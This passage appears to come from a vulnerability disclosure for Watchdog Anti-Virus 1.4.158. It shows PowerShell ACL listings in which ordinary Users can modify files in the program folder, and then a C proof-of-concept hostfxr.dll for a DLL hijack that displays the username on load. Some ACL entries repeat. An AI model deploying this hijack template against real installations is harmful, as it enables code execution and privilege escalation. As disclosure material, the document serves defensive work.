821         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
822
823 Path    : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
824         Anti-Virus\scanner1\libclamunrar_iface.dll
825 Owner   : BUILTIN\Administrators
826 Group   : DESKTOP-8B89BFF\None
827 Access  : BUILTIN\Users Allow  Modify, Synchronize
828         NT AUTHORITY\SYSTEM Allow  FullControl
829         BUILTIN\Administrators Allow  FullControl
830         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
831         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
832 Audit   :
833 Sddl    : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
834         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
835
836 Path    : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
837         Anti-Virus\scanner1\libcrypto-1_1-x64.dll
838 Owner   : BUILTIN\Administrators
839 Group   : DESKTOP-8B89BFF\None
840 Access  : BUILTIN\Users Allow  Modify, Synchronize
841         NT AUTHORITY\SYSTEM Allow  FullControl
```

842 BUILTIN\Administrators Allow FullControl  
843 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
844 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
845 Audit :  
846 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
847 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
848  
849 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1  
850 Owner : BUILTIN\Administrators  
851 Group : DESKTOP-8B89BFF\None  
852 Access : BUILTIN\Users Allow Modify, Synchronize  
853 NT AUTHORITY\SYSTEM Allow FullControl  
854 BUILTIN\Administrators Allow FullControl  
855 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
856 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
857 Audit :  
858 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
859 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
860  
861 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1  
862 Owner : BUILTIN\Administrators  
863 Group : DESKTOP-8B89BFF\None  
864 Access : BUILTIN\Users Allow Modify, Synchronize  
865 NT AUTHORITY\SYSTEM Allow FullControl  
866 BUILTIN\Administrators Allow FullControl  
867 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
868 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
869 Audit :  
870 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
871 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
872  
873 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1  
874 Owner : BUILTIN\Administrators  
875 Group : DESKTOP-8B89BFF\None  
876 Access : BUILTIN\Users Allow Modify, Synchronize  
877 NT AUTHORITY\SYSTEM Allow FullControl  
878 BUILTIN\Administrators Allow FullControl  
879 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
880 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
881 Audit :  
882 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
883 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
884  
885 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1  
886 Owner : BUILTIN\Administrators  
887 Group : DESKTOP-8B89BFF\None  
888 Access : BUILTIN\Users Allow Modify, Synchronize  
889 NT AUTHORITY\SYSTEM Allow FullControl  
890 BUILTIN\Administrators Allow FullControl

891 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
892 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
893 Audit :  
894 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
895 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
896  
897 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1  
898 Owner : BUILTIN\Administrators  
899 Group : DESKTOP-8B89BFF\None  
900 Access : BUILTIN\Users Allow Modify, Synchronize  
901 NT AUTHORITY\SYSTEM Allow FullControl  
902 BUILTIN\Administrators Allow FullControl  
903 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
904 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
905 Audit :  
906 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
907 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
908  
909 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1  
910 Owner : BUILTIN\Administrators  
911 Group : DESKTOP-8B89BFF\None  
912 Access : BUILTIN\Users Allow Modify, Synchronize  
913 NT AUTHORITY\SYSTEM Allow FullControl  
914 BUILTIN\Administrators Allow FullControl  
915 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
916 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
917 Audit :  
918 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
919 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
920  
921 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1  
922 Owner : BUILTIN\Administrators  
923 Group : DESKTOP-8B89BFF\None  
924 Access : BUILTIN\Users Allow Modify, Synchronize  
925 NT AUTHORITY\SYSTEM Allow FullControl  
926 BUILTIN\Administrators Allow FullControl  
927 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
928 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
929 Audit :  
930 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
931 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
932  
933 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1  
934 Owner : BUILTIN\Administrators  
935 Group : DESKTOP-8B89BFF\None  
936 Access : BUILTIN\Users Allow Modify, Synchronize  
937 NT AUTHORITY\SYSTEM Allow FullControl  
938 BUILTIN\Administrators Allow FullControl  
939 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize

```

940     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
941 Audit   :
942 Sddl    : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
943         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
944
945 Path    : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
946 Owner   : BUILTIN\Administrators
947 Group   : DESKTOP-8B89BFF\None
948 Access  : BUILTIN\Users Allow  Modify, Synchronize
949         NT AUTHORITY\SYSTEM Allow  FullControl
950         BUILTIN\Administrators Allow  FullControl
951         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
952         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
953 Audit   :
954 Sddl    : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
955         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
956
957 Path    : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
958 Owner   : BUILTIN\Administrators
959 Group   : DESKTOP-8B89BFF\None
960 Access  : BUILTIN\Users Allow  Modify, Synchronize
961         NT AUTHORITY\SYSTEM Allow  FullControl
962         BUILTIN\Administrators Allow  FullControl
963         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
964         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
965 Audit   :
966 Sddl    : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
967         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

```

 main.c

```

1  #include "windows.h"
2
3  /**
4   *
5   *  hostfxr.dll hijack PoC for Watchdog Anti-Virus version 1.4.158
6   *
7   *  x86_64-w64-mingw32-g++ -masm=intel -s -w -static -shared -Wno-multichar -o hostfxr.dll main.c
8   *
9   * */
10
11
12  #define DllImport __declspec( dllimport )
13  #define DllExport __declspec( dllexport )
14
15
16  DllExport void hostfxr_main_startupinfo() {

```

```
17     wchar_t username[100];
18     DWORD username_len = 100;
19     GetUserNamew(username, &username_len);
20
21     MessageBoxW(NULL, username, L"TEST", MB_OK | MB_ICONERROR);
22 }
23
24 BOOL WINAPI DllMain(
25     IN HINSTANCE hinstDLL,
26     IN DWORD     fdwReason,
27     IN LPVOID     lpvReserved
28 )
29 {
30     switch (fdwReason)
31     {
32     case DLL_PROCESS_ATTACH:
33         hostfxr_main_startupinfo();
34         break;
35
36     case DLL_PROCESS_DETACH:
37         break;
38     }
39
40     return TRUE;
41 }
```